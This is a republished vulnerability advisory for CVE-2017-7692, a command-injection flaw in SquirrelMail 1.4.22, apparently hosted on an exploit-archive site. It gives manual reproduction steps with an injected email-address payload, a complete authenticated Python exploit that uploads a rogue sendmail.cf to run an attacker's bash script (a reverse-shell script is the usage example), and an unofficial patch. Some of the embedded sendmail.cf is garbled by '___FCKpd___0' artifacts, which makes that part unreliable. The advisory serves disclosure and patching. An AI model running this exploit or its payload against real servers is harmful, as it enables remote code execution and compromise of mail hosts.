首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Squirrelmail 1.4.22 Remote Code Execution
来源:https://www.wearesegment.com 作者:Cavallarin 发布时间:2017-04-20  
Advisory ID:           SGMA17-001
Title:                 Squirrelmail Remote Code Execution
Product:               Squirrelmail
Version:               1.4.22 and probably prior
Vendor:                squirrelmail.org
Type:                  Command Injection
Risk level:            4 / 5
Credit:                filippo.cavallarin@wearesegment.com
CVE:                   CVE-2017-7692
Vendor notification:   2017-04-04
Vendor fix:            N/A
Public disclosure:     2017-04-19




DETAILS

Squirrelmail version 1.4.22 (and probably prior) is vulnerable to a remote code execution vulnerability because
it fails to sanitize a string before passing it to a popen call. It's possible to exploit this vulnerability to 
execute arbitrary shell commands on the remote server.

The problem is in Deliver_SendMail.class.php on initStream function that uses escapeshellcmd() to sanitize the 
sendmail command before executing it. The use of escapeshellcmd() is not correct in this case since it don't 
escapes whitespaces allowing the injection of arbitrary command parameters.

      $this->sendmail_command = "$sendmail_path $this->sendmail_args -f$envelopefrom";     
      $stream = popen(escapeshellcmd($this->sendmail_command), "w");


The $envelopefrom variable is controlled by the attacker, hence it's possible to trick sendmail to use an 
attacker-provided configuration file that triggers the execution of an arbitrary command.

In order to exploit this vulnerability the MTA in use must be sendmail and Squirrelmail must be configured
to use it as commandline (useSendmail directive of the config file set to true).
Also, the edit_identity directive of the config file must be bet to true, but this is the default configuration.

To reproduce the issue follow these steps:
        1. Create a rogue sendmail.cf that triggers the execution of a /usr/bin/touch:
                [...]
                Mlocal,         P=/usr/bin/touch, F=lsDFMAw5:/|@qPn9S, S=EnvFromL/HdrFromL, R=EnvToL/HdrToL,
                T=DNS/RFC822/X-Unix,
                A=X /tmp/executed
        2. Upload it as a mail attachment and get it's remote name (ex: lF51mGPJwdqzV3LEDlCdSVNpohzgF7sD)
        3. Go to Options -> Personal Informations and set the following payload as Email Address:
                <aaa@abc.com -OQueueDirectory=/tmp  -C /var/local/squirrelmail/attach/lF51mGPJwdqzV3LEDlCdSVNpohzgF7sD>
        4. Send an email
        5. Verify the execution of the command with "ls /tmp/executed" on the remote server




PROOF OF CONCEPT

The followig python script exploits this vulnerability to execute an attacker provided bash script on the remote server.

BOF
#!/usr/bin/env python
# -*- coding: utf-8 -*- 

"""

SquirrelMail 1.4.22 Remote Code Execution (authenticated) 
Exploit code for CVE-2017-7692
filippo.cavallarin@wearesegment.com

"""

from __future__ import unicode_literals
import sys
import os
import re
import requests

reload(sys)
sys.setdefaultencoding('utf8')


SENDMAILCF="/tmp/squirrelmail1_4_22-sendmailcf-rce"
COMPOSE = "/src/compose.php"
INFOS = "/src/options.php?optpage=personal"
SQM_ATTACH_PATH = "/var/local/squirrelmail/attach/"
# must be enclosed in <> otherwise spaces will be removed ..
SENDER = "<px@xxxx.com -OQueueDirectory=/tmp  -C %s%s>"


SESSID = ""
BASEURL = ""


def attach(attachment):
  url = "%s%s" % (BASEURL, COMPOSE)
  token = get_csrf_token(url)

  values = {
    "smtoken": token,
    "attach": "add"
  }

  try:
    files = {'attachfile': open(attachment,'rb')}
    resp = requests.post(url, files=files, data=values, cookies={'SQMSESSID':SESSID})
    fname = re.search(r'att_local_name&quot;;s:[0-9]+:&quot;([a-zA-Z0-9]+)&quot;', resp.text)
    if not fname:
      print "\nError: unable to upload file %s" % attachment
    return fname.group(1)

  except Exception as e:
    print "\nError: %s" % e
    sys.exit(1)


def send():
  url = "%s%s" % (BASEURL, COMPOSE)
  token = get_csrf_token(url)

  values = {
    "smtoken": token,
    "send_to": "root",
    "send": "Send"
  }

  try:
    resp = requests.post(url, data=values, cookies={'SQMSESSID':SESSID})
  except Exception as e:
    print "\nError: %s" % e
    sys.exit(1)


def set_identity(sender):
  url = "%s%s" % (BASEURL, INFOS)
  token = get_csrf_token(url)
  values = {
    "smtoken": token,
    "optpage": "personal",
    "optmode": "submit",
    "new_email_address": sender,
    "submit_personal": "Submit"
  }

  try:
    requests.post(url, data=values, cookies={'SQMSESSID':SESSID})
  except Exception as e:
    print "\nError: %s" % e
    sys.exit(1)


def get_csrf_token(url):
  try:
    body = requests.get(url, cookies={'SQMSESSID':SESSID}).text
    inp = re.search(r'<input.*name="smtoken".*>', body, re.MULTILINE)
    token = re.search(r'value="([a-zA-Z0-9]+)"', inp.group(0))
    if token:
      return token.group(1)
  except Exception as e:
    pass

  print "\nUnable to get CSRF token"
  sys.exit(1)

def outw(s):
  sys.stdout.write(s)
  sys.stdout.flush()

def main(argv):
  global BASEURL
  global SESSID

  if len(argv) != 4:
    print (
        "SquirrelMail 1.4.22 Remote Code Execution (authenticated) - filippo.cavallarin@wearesegment.com\n"
        "The target server must use sendmail and squirrelmail must be configured to use /usr/bin/sendmail\n"
        "Usage:\n"
        "  %s <url> <session_id> <script>\n"
        "      url: the url of squirrelmail\n"
        "      session_id: the value of SQMSESSID cookie\n"
        "      script: the path to the bash script to be executed on the target\n"
        "Example:\n"
        "  %s http:/example.com/squirrelmail/ l2rapvcovsui1on0b4i5boev24 reverseshell.sh"
      ) % (argv[0], argv[0])

    sys.exit(1)

  BASEURL = argv[1]
  SESSID = argv[2]
  script = argv[3]

  outw("Uploading script ... ")
  script_fname = attach(script)
  print "ok"


  outw("Generating sendmail.cf ... ")
  try:
    script_path = "%s%s" % (SQM_ATTACH_PATH, script_fname)
    with open(SENDMAILCF, 'w') as f:
      f.write(SENDMAILCF_CONTENT % script_path)
  except Exception as e:
    print "\nError: %s" % e
    sys.exit(1)
  print "ok"

  outw("Uploading sendmail.cf ... ")
  smc_fname = attach(SENDMAILCF)
  os.remove(SENDMAILCF)
  print "ok"

  outw("Updating user options ... ")
  sender = SENDER % (SQM_ATTACH_PATH, smc_fname)
  set_identity(sender)
  print "ok"

  outw("Checking identity field ... ")
  icheck = requests.get("%s%s" % (BASEURL, INFOS), cookies={'SQMSESSID':SESSID}).text
  if not smc_fname in icheck:
    print "\nError: unable to set identity field .. maybe squirrelmail is configured with edit_identity=false"
    sys.exit(1)
  print "ok"

  outw("Executing script ... ")
  send()
  print "ok\n"
  sys.exit(0)

SENDMAILCF_CONTENT = """
O DontBlameSendmail=,AssumeSafeChown,ForwardFileInGroupWritableDirPath,GroupWritableForwardFileSafe,GroupWritableIncludeFileSafe,IncludeFileInGroupWritableDirPath,DontWarnForwardFileInUnsafeDirPath,TrustStickyBit,NonRootSafeAddr,GroupWritableIncludeFile,GroupReadableDefaultAuthInfoFile
Kdequote dequote
Scanonify=3
R$@     $@ <@>
R$*     $: $1 <@>     mark addresses
R$* < $* > $* <@> $: $1 < $2 > $3     unmark <addr>
R@ $* <@>   $: @ $1       unmark @host:...
R$* [ IPv6 : ___FCKpd___0 ] <@> $: $1 [ IPv6 : $2 ]   unmark IPv6 addr
R$* :: $* <@>   $: $1 :: $2     unmark node::addr
R:include: $* <@> $: :include: $1     unmark :include:...
R$* : $* [ $* ]   $: $1 : $2 [ $3 ] <@>   remark if leading colon
R$* : $* <@>    $: $2       strip colon if marked
R$* <@>     $: $1       unmark
R$* ;        $1       strip trailing semi
R$* < ___FCKpd___0 :; > $*  $@ $2 :; <@>      catch <list:;>
R$* < $* ; >       $1 < $2 >      bogus bracketed semi
R$@     $@ :; <@>
R$*     $: < $1 >     housekeeping <>
R___FCKpd___0 < $* >       < $2 >     strip excess on left
R< $* > ___FCKpd___0       < $1 >     strip excess on right
R<>     $@ < @ >      MAIL FROM:<> case
R< ___FCKpd___0 >     $: $1       remove housekeeping <>
R@ ___FCKpd___0 , ___FCKpd___0    $2
R@ [ $* ] : ___FCKpd___0    $2
R@ ___FCKpd___0 : ___FCKpd___0    $2
R ___FCKpd___0 : $* ; @ ___FCKpd___0  $@ ___FCKpd___0gt;Canonify2 $1 : $2 ; < @ $3 > list syntax
R ___FCKpd___0 : $* ;   $@ $1 : $2;     list syntax
R___FCKpd___0 @ ___FCKpd___0    $: $1 < @ $2 >      focus on domain
R___FCKpd___0 < ___FCKpd___0 @ ___FCKpd___0 >   $1 $2 < @ $3 >      move gaze right
R___FCKpd___0 < @ ___FCKpd___0 >    $@ ___FCKpd___0gt;Canonify2 $1 < @ $2 >  already canonical
R$- ! ___FCKpd___0    $@ ___FCKpd___0gt;Canonify2 $2 < @ $1 .UUCP >  resolve uucp names
R___FCKpd___0 . $- ! ___FCKpd___0   $@ ___FCKpd___0gt;Canonify2 $3 < @ $1 . $2 >   domain uucps
R___FCKpd___0 ! ___FCKpd___0    $@ ___FCKpd___0gt;Canonify2 $2 < @ $1 .UUCP >  uucp subdomains
R$* %% $*   $1 @ $2       First make them all @s.
R$* @ $* @ $*   $1 %% $2 @ $3     Undo all but the last.
R$* @ $*    $@ ___FCKpd___0gt;Canonify2 $1 < @ $2 >  Insert < > and finish
R$*     $@ ___FCKpd___0gt;Canonify2 $1
SCanonify2=96
R$* < @ localhost > $*    $: $1 < @ $j . > $2   no domain at all
R$* < @ localhost . $m > $* $: $1 < @ $j . > $2   local domain
R$* < @ localhost . UUCP > $* $: $1 < @ $j . > $2   .UUCP domain
R$* < @ [ ___FCKpd___0 ] > $*   $: $1 < @@ [ $2 ] > $3    mark [addr]
R$* < @@ $=w > $*   $: $1 < @ $j . > $3   self-literal
R$* < @@ ___FCKpd___0 > $*    $@ $1 < @ $2 > $3   canon IP addr
Sfinal=4
R___FCKpd___0 :; <@>    $@ $1 :       handle <list:;>
R$* <@>     $@        handle <> and list:;
R$* < @ ___FCKpd___0 . > $* $1 < @ $2 > $3
R$* < @ *LOCAL* > $*  $1 < @ $j > $2
R$* < ___FCKpd___0 > $*   $1 $2 $3      defocus
R@ ___FCKpd___0 : @ ___FCKpd___0 : ___FCKpd___0 @ $1 , @ $2 : $3    <route-addr> canonical
R@ $*     $@ @ $1       ... and exit
R___FCKpd___0 @ $- . UUCP   $2!$1       u@h.UUCP => h!u
R___FCKpd___0 %% $=w @ $=w    $1 @ $2       u%%host@host => u@host
SRecurse=97
R$*     $: ___FCKpd___0gt;canonify $1
R$*     $@ ___FCKpd___0gt;parse $1
Sparse=0
R$*     $: ___FCKpd___0gt;Parse0 $1    initial parsing
R<@>      $#local $: <@>    special case error msgs
R$*     $: ___FCKpd___0gt;ParseLocal $1  handle local hacks
R$*     $: ___FCKpd___0gt;Parse1 $1    final parsing
SParse0
R<@>      $@ <@>      special case error msgs
R$* : $* ; <@>    $#error $@ 5.1.3 $: "553 List:; syntax illegal for recipient addresses"
R@ <@ $* >    < @ $1 >    catch "@@host" bogosity
R<@ ___FCKpd___0>     $#error $@ 5.1.3 $: "553 User address required"
R___FCKpd___0 <@>     $#error $@ 5.1.3 $: "553 Hostname required"
R$*     $: <> $1
R<> $* < @ [ $* ] : ___FCKpd___0 > $* $1 < @ [ $2 ] : $3 > $4
R<> $* < @ [ $* ] , ___FCKpd___0 > $* $1 < @ [ $2 ] , $3 > $4
R<> $* < @ [ $* ] ___FCKpd___0 > $* $#error $@ 5.1.2 $: "553 Invalid address"
R<> $* < @ [ ___FCKpd___0 ] > $*    $1 < @ [ $2 ] > $3
R<> $* <$* : $* > $*  $#error $@ 5.1.3 $: "553 Colon illegal in host name part"
R<> $*      $1
R$* < @ . $* > $* $#error $@ 5.1.2 $: "553 Invalid host name"
R$* < @ $* .. $* > $* $#error $@ 5.1.2 $: "553 Invalid host name"
R$* < @ $* @ > $* $#error $@ 5.1.2 $: "553 Invalid route address"
R$* @ $* < @ $* > $*  $#error $@ 5.1.3 $: "553 Invalid route address"
R$* , $~O $*    $#error $@ 5.1.3 $: "553 Invalid route address"
R$* < @ > $*    $@ ___FCKpd___0gt;Parse0 ___FCKpd___0gt;canonify $1 user@ => user
R< @ $=w . > : $* $@ ___FCKpd___0gt;Parse0 ___FCKpd___0gt;canonify $2 @here:... -> ...
R$- < @ $=w . >   $: $(dequote $1 $) < @ $2 . > dequote "foo"@here
R< @ ___FCKpd___0 >   $#error $@ 5.1.3 $: "553 User address required"
R$* $=O $* < @ $=w . >  $@ ___FCKpd___0gt;Parse0 ___FCKpd___0gt;canonify $1 $2 $3 ...@here -> ...
R$-       $: $(dequote $1 $) < @ *LOCAL* >  dequote "foo"
R< @ *LOCAL* >    $#error $@ 5.1.3 $: "553 User address required"
R$* $=O $* < @ *LOCAL* >
      $@ ___FCKpd___0gt;Parse0 ___FCKpd___0gt;canonify $1 $2 $3 ...@*LOCAL* -> ...
R$* < @ *LOCAL* > $: $1
SParse1
R$* < @ [ ___FCKpd___0 ] > $* $: ___FCKpd___0gt;ParseLocal $1 < @ [ $2 ] > $3  numeric internet spec
R$* < @ [ ___FCKpd___0 ] > $* $: $1 < @ [ $2 ] : $S > $3  Add smart host to path
R$* < @ [ ___FCKpd___0 ] : > $*   $#esmtp $@ [$2] $: $1 < @ [$2] > $3 no smarthost: send
R$* < @ [ ___FCKpd___0 ] : $- : $*> $*  $#$3 $@ $4 $: $1 < @ [$2] > $5  smarthost with mailer
R$* < @ [ ___FCKpd___0 ] : ___FCKpd___0 > $*  $#esmtp $@ $3 $: $1 < @ [$2] > $4 smarthost without mailer
R$=L < @ $=w . >  $#local $: @ $1     special local names
R___FCKpd___0 < @ $=w . >   $#local $: $1     regular local name
R$* < @ $* > $*   $: ___FCKpd___0gt;MailerToTriple < $S > $1 < @ $2 > $3 glue on smarthost name
R$* < @$* > $*    $#esmtp $@ $2 $: $1 < @ $2 > $3 user@host.domain
R$=L      $#local $: @ $1   special local names
R___FCKpd___0     $#local $: $1     regular local names
SLocal_localaddr
Slocaladdr=5
R___FCKpd___0     $: $1 $| ___FCKpd___0gt;"Local_localaddr" $1
R___FCKpd___0 $| $#ok   $@ $1     no change
R___FCKpd___0 $| $#$*   $#$2
R___FCKpd___0 $| $*   $: $1
R___FCKpd___0 + *     $#local $@ ___FCKpd___0amp;h $: $1
R___FCKpd___0 + $*    $#local $@ + $2 $: $1 + *
R___FCKpd___0     $: <> $1
R< > ___FCKpd___0     $: < > < $1 <> ___FCKpd___0amp;h >    nope, restore +detail
R< > < ___FCKpd___0 <> + $* > $: < > < $1 + $2 >    check whether +detail
R< > < ___FCKpd___0 <> $* > $: < > < $1 >     else discard
R< > < ___FCKpd___0 + $* > $*    < > < $1 > + $2 $3   find the user part
R< > < ___FCKpd___0 > + $*  $#local $@ $2 $: @ $1   strip the extra +
R< > < ___FCKpd___0 >   $@ $1       no +detail
R___FCKpd___0     $: $1 <> ___FCKpd___0amp;h      add +detail back in
R___FCKpd___0 <> + $*   $: $1 + $2      check whether +detail
R___FCKpd___0 <> $*   $: $1       else discard
R< local : $* > $*  $: ___FCKpd___0gt;MailerToTriple < local : $1 > $2 no host extension
R< error : $* > $*  $: ___FCKpd___0gt;MailerToTriple < error : $1 > $2 no host extension
R< $~[ : ___FCKpd___0 > ___FCKpd___0  $: ___FCKpd___0gt;MailerToTriple < $1 : $2 > $3 < @ $2 >
R< ___FCKpd___0 > ___FCKpd___0    $@ ___FCKpd___0gt;MailerToTriple < $1 > $2 < @ $1 >
SParseLocal=98
SEnvFromL
R<@>      $n      errors to mailer-daemon
R@ <@ $*>   $n      temporarily bypass Sun bogosity
R___FCKpd___0     $: ___FCKpd___0gt;AddDomain $1 add local domain if needed
R$*     $: ___FCKpd___0gt;MasqEnv $1   do masquerading
SEnvToL
R___FCKpd___0 < @ $* >    $: $1     strip host part
R___FCKpd___0 + $*    $: < ___FCKpd___0amp;{addr_type} > $1 + $2  mark with addr type
R<e s> ___FCKpd___0 + $*    $: $1     remove +detail for sender
R< $* > ___FCKpd___0    $: $2     else remove mark
SHdrFromL
R<@>      $n      errors to mailer-daemon
R@ <@ $*>   $n      temporarily bypass Sun bogosity
R___FCKpd___0     $: ___FCKpd___0gt;AddDomain $1 add local domain if needed
R$*     $: ___FCKpd___0gt;MasqHdr $1   do masquerading
SHdrToL
R___FCKpd___0     $: ___FCKpd___0gt;AddDomain $1 add local domain if needed
R$*     $: ___FCKpd___0gt;MasqHdr $1   do all-masquerading
SAddDomain
R$* < @ $* > $*   $@ $1 < @ $2 > $3 already fully qualified
R___FCKpd___0     $@ $1 < @ *LOCAL* > add local qualification
Mlocal,   P=/bin/bash, F=lsDFMAw5:/|@qPn9S, S=EnvFromL/HdrFromL, R=EnvToL/HdrToL,
    T=DNS/RFC822/X-Unix,
    A=X %s
Mprog,    P=/bin/sh, F=lsDFMoqeu9, S=EnvFromL/HdrFromL, R=EnvToL/HdrToL, D=$z:/,
    T=X-Unix/X-Unix/X-Unix,
    A=sh -c $u

"""

if __name__ == '__main__':
  main(sys.argv)

EOF




SOLUTION

Since the vendor did not respond to our mails, no official fix is available. 
However, the following unofficial patch can be used to fix this vulnerability.

BOF
diff -ruN squirrelmail-webmail-1.4.22/class/deliver/Deliver_SendMail.class.php squirrelmail-webmail-1.4.22-fix-CVE-2017-7692/class/deliver/Deliver_SendMail.class.php
--- squirrelmail-webmail-1.4.22/class/deliver/Deliver_SendMail.class.php  2011-01-06 02:44:03.000000000 +0000
+++ squirrelmail-webmail-1.4.22-fix-CVE-2017-7692/class/deliver/Deliver_SendMail.class.php  2017-04-18 11:42:26.505181944 +0000
@@ -93,9 +93,9 @@
         $envelopefrom = trim($from->mailbox.'@'.$from->host);
         $envelopefrom = str_replace(array("\0","\n"),array('',''),$envelopefrom);
         // save executed command for future reference
-        $this->sendmail_command = "$sendmail_path $this->sendmail_args -f$envelopefrom";
+        $this->sendmail_command = escapeshellcmd("$sendmail_path $this->sendmail_args -f") . escapeshellarg($envelopefrom);
         // open process handle for writing
-        $stream = popen(escapeshellcmd($this->sendmail_command), "w");
+        $stream = popen($this->sendmail_command, "w");
         return $stream;
     }
EOF




REFERENCES

https://squirrelmail.org/
https://www.wearesegment.com/research/Squirrelmail-Remote-Code-Execution.html


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Microsoft RTF Remote Code Exec
·OpenText Documentum Content Se
·VirtualBox Unprivilege Host Us
·Trend Micro Threat Discovery A
·WebKit operationSpreadGeneric
·Trend Micro Threat Discovery A
·Trend Micro Threat Discovery A
·Trend Micro Threat Discovery A
·Microsoft Windows taskschd.msc
·Trend Micro Threat Discovery A
·VLC Media Player 2.2.3 DecodeA
·Trend Micro Threat Discovery A
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved